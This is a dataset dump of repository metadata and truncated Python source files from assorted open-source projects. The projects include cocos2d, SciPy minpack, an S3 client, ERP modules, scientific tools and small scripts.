bsd-3-clause
-4,825,881,447,363,589,000
34.032468
78
0.653383
false
4.40768
false
false
false
joaduo/mepinta
plugins/c_and_cpp/k3dv1/plugins_tests/inotify_tests/SelectFaceByNumber_test.py
1
2567
# -*- coding: utf-8 -*- ''' Mepinta Copyright (c) 2011-2012, Joaquin G. Duo This file is part of Mepinta. Mepinta is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your opti...
gpl-3.0
727,680,934,833,170,600
37.893939
102
0.721465
false
3.30799
true
false
false
adamwiggins/cocos2d
cocos/actions/interval_actions.py
2
20878
# ---------------------------------------------------------------------------- # cocos2d # Copyright (c) 2008 Daniel Moisset, Ricardo Quesada, Rayentray Tappa, Lucio Torre # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the follow...
bsd-3-clause
-743,601,364,381,472,400
27.757576
101
0.563943
false
4.154826
false
false
false
tiagocoutinho/bliss
bliss/controllers/lima/__init__.py
1
6837
# -*- coding: utf-8 -*- # # This file is part of the bliss project # # Copyright (c) 2016 Beamline Control Unit, ESRF # Distributed under the GNU LGPLv3. See LICENSE for more info. import importlib from bliss.common.tango import DeviceProxy from bliss.config import settings from .bpm import Bpm from .roi import Roi, Ro...
lgpl-3.0
6,689,777,223,001,568,000
32.028986
92
0.539857
false
3.909091
false
false
false
reinhrst/aio-s3
aios3/bucket.py
1
14612
import datetime import hmac import base64 import hashlib import asyncio from xml.etree.ElementTree import fromstring as parse_xml from xml.etree.ElementTree import tostring as xml_tostring from xml.etree.ElementTree import Element, SubElement from functools import partial from urllib.parse import quote import aiohttp ...
mit
5,031,407,894,351,788,000
32.981395
88
0.536408
false
3.983642
false
false
false
mendersoftware/integration
testutils/infra/container_manager/docker_manager.py
1
1777
# Copyright 2021 Northern.tech AS # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
apache-2.0
3,428,999,405,347,108,000
33.843137
84
0.642656
false
3.948889
false
false
false
jmesteve/openerpseda
openerp/addons_extra/point_of_sale/__openerp__.py
1
4171
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU...
agpl-3.0
6,856,412,445,368,254,000
36.241071
157
0.61544
false
3.630113
false
false
false
shirtsgroup/pygo
package/writetopdb.py
1
4226
import numpy import pdb '''This module contains various I/O helper methods''' def get_coord(filename): f = file(filename,'r') # first count number of atoms to instantiate coord array n = 0 for line in f: if 'ATOM' in line: n += 1 coord = numpy.empty((n,3)) pdb_text = [] # w...
gpl-2.0
-6,812,921,427,290,016,000
27.554054
103
0.561524
false
2.662886
false
false
false
MobinRanjbar/hue
desktop/libs/notebook/src/notebook/management/commands/notebook_setup.py
1
1828
#!/usr/bin/env python # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you ma...
apache-2.0
-1,704,254,534,951,915,800
34.843137
102
0.745077
false
3.840336
false
false
false
suyashphadtare/test
erpnext/accounts/report/financial_statements.py
1
7698
# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe from frappe import _, _dict from frappe.utils import (flt, getdate, get_first_day, get_last_day, add_months, add_days, formatdate) de...
agpl-3.0
-3,243,688,243,815,596,500
29.426877
112
0.669654
false
2.90381
false
false
false
wgong/open_source_learning
learn_stem/python/utilities/nb2to3.py
1
2569
#!/usr/bin/env python3 """ To run: python3 nb2to3.py notebook-or-directory """ # Authors: Thomas Kluyver, Fernando Perez # See: https://gist.github.com/takluyver/c8839593c615bb2f6e80 # found at https://stackoverflow.com/questions/20651502/ipython-code-migration-from-python-2-to-python-3 import argparse impo...
apache-2.0
8,255,359,468,792,053,000
29.353659
104
0.571818
false
3.593007
false
false
false
duncanwp/cis_plugins
hadgem_unknown_vars.py
1
2736
__author__ = 'watson-parris' from cis.data_io.products.HadGEM import HadGEM_PP import logging class HadGEM_unknown_vars(HadGEM_PP): def get_variable_names(self, filenames, data_type=None): import iris import cf_units as unit from cis.utils import single_warnings_only # Removes war...
lgpl-3.0
-1,136,911,862,083,071,600
43.129032
116
0.595395
false
4.01173
false
false
false
frigg/frigg-settings
setup.py
1
1053
# -*- encoding: utf8 -*- import re from setuptools import find_packages, setup def _read_long_description(): try: import pypandoc return pypandoc.convert('README.md', 'rst', format='markdown') except Exception: return None version = '' with open('frigg_settings/__init__.py', 'r') as...
mit
5,776,911,896,159,276,000
23.488372
76
0.598291
false
3.498339
false
false
false
puttarajubr/commcare-hq
corehq/ex-submodules/phonelog/models.py
1
1259
from dimagi.ext.couchdbkit import Document from django.db import models COUCH_UUID_MAX_LEN = 50 class DeviceReportEntry(models.Model): xform_id = models.CharField(max_length=COUCH_UUID_MAX_LEN, db_index=True) i = models.IntegerField() msg = models.TextField() type = models.CharField(max_length=32, db...
bsd-3-clause
4,064,221,458,120,337,000
33.972222
87
0.683082
false
3.171285
false
false
false
abacuspix/NFV_project
Instant_Flask_Web_Development/sched/forms.py
1
1083
"""Forms to render HTML input & validate request data.""" from wtforms import Form, BooleanField, DateTimeField, PasswordField from wtforms import TextAreaField, TextField from wtforms.validators import Length, required class AppointmentForm(Form): """Render HTML input for Appointment model & validate submission...
mit
1,323,436,043,198,504,700
36.344828
77
0.722068
false
4.5125
false
false
false
czcorpus/kontext
lib/corplib/fallback.py
1
3332
# Copyright (c) 2013 Institute of the Czech National Corpus # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # dated June, 1991. # # This program is distributed in the hope that it wi...
gpl-2.0
-8,455,687,116,255,003,000
21.066225
82
0.602941
false
4.133995
false
false
false
phantomii/restalchemy
restalchemy/tests/functional/restapi/ra_based/microservice/routes.py
1
1858
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright 2016 Eugene Frolov <eugene@frolov.net.ru> # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # ...
apache-2.0
4,405,113,161,361,378,300
31.034483
78
0.708827
false
3.807377
false
false
false
Joshuaalbert/IonoTomo
src/ionotomo/tomography/linear_operators.py
1
4255
import tensorflow as tf import numpy as np from ionotomo.settings import TFSettings from ionotomo.tomography.interpolation import RegularGridInterpolator from ionotomo.tomography.integrate import simps class RayOp(object): r"""Linear operator that performs for any v(x) h[i1,...,ir] = \int_R[i1,...,ir]...
apache-2.0
3,722,212,576,356,630,000
38.398148
103
0.601175
false
3.456539
false
false
false
keflavich/pyspeckit-obsolete
examples/sn_example.py
1
6163
""" Example demonstrating how to fit a complex H-alpha profile after subtracting off a satellite line (in this case, He I 6678.151704) """ import pyspeckit sp = pyspeckit.OpticalSpectrum('sn2009ip_halpha.fits') # start by plotting a small region around the H-alpha line sp.plotter(xmin=6100,xmax=7000,ymax=2.23,ymin=0...
mit
3,298,661,510,037,429,000
46.775194
170
0.727568
false
2.892069
false
false
false
miha-skalic/ITEKA
qt_design/twosubstr/load_data_ds.py
1
8845
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'load_data_ds.ui' # # Created: Fri Jun 12 17:18:39 2015 # by: PyQt4 UI code generator 4.11.3 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except A...
gpl-3.0
7,131,237,885,029,008,000
52.932927
103
0.705483
false
3.736798
false
false
false
jor-/scipy
scipy/optimize/minpack.py
1
34280
from __future__ import division, print_function, absolute_import import threading import warnings from . import _minpack import numpy as np from numpy import (atleast_1d, dot, take, triu, shape, eye, transpose, zeros, prod, greater, array, all, where, isscalar, asarray, inf, abs,...
bsd-3-clause
6,488,476,498,677,419,000
36.423581
91
0.587456
false
3.84348
false
false
false
ARUNSOORAJPS/flipkart_gridlock
src/main.py
1
2686
# -*- coding: utf-8 -*- # @Author: chandan # @Date: 2017-07-08 00:32:09 # @Last Modified by: chandan # @Last Modified time: 2017-07-08 11:13:46 from data_utils import read_file from config import DATA_DIR, SCORE_COLUMNS import os from model import train_model, test_model import pandas as pd import numpy as np fr...
mit
2,656,051,572,428,761,000
23.87963
63
0.657856
false
2.493965
true
false
false
Altoidnerd/paradichlorobenzene5
17.volume_dependence/creation_of_volume_aletered_pwis/experimental/matrix.dev.py
1
15350
#!/usr/bin/env python3 ################################################################################# # # # Copyright (c) 2016 Allen Majewski (altoidnerd) # # Permission is hereby granted, free of charge, to any person obtaining a # # copy of this software and associated documentation files (the "Softw...
gpl-3.0
-2,822,358,396,394,891,300
26.264654
153
0.587752
false
2.821691
false
false
false
MMunibas/FittingWizard
scripts/esp-fit/src/pun2charmmlpun.py
1
2045
#!/usr/bin/env python # # Copyright 2013 Tristan Bereau and Christian Kramer # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requ...
bsd-3-clause
-4,360,621,419,761,082,000
25.558442
89
0.652323
false
2.96807
false
false
false
franklingu/leetcode-solutions
questions/largest-rectangle-in-histogram/Solution.py
1
1401
""" Given n non-negative integers representing the histogram's bar height where the width of each bar is 1, find the area of largest rectangle in the histogram. ![Image1](https://assets.leetcode.com/uploads/2018/10/12/histogram.png) Above is a histogram where width of each bar is 1, given height = [2,1,5,6,2,3]. ![...
mit
-5,462,530,115,053,818,000
27.591837
156
0.532477
false
3.667539
false
false
false
Hearen/OnceServer
pool_management/bn-xend-core/xend/NetworkMonitor.py
1
1832
import logging log = logging.getLogger("network") log.setLevel(logging.DEBUG) file_handle = logging.FileHandler("/var/log/xen/network.log") log.addHandler(file_handle) def test_ip(ip): import os import subprocess cmd = 'ping -w 3 %s' % ip re = subprocess.call(cmd, shell=True) if re: return ...
mit
-6,437,564,913,411,883,000
28.548387
111
0.540393
false
4.04415
false
false
false
tertychnyy/rrcki-backup
lib/rrckibackup/BKPSite.py
1
1514
import json import sys from BKPLogger import BKPLogger def getJSON(filepath): json_data = open(filepath) data = json.load(json_data) json_data.close() return data class BKPSite: def __init__(self, path): #logger _logger = BKPLogger().getLogger('BKPSite') s...
gpl-2.0
6,836,492,775,590,052,000
25.103448
69
0.5
false
3.683698
false
false
false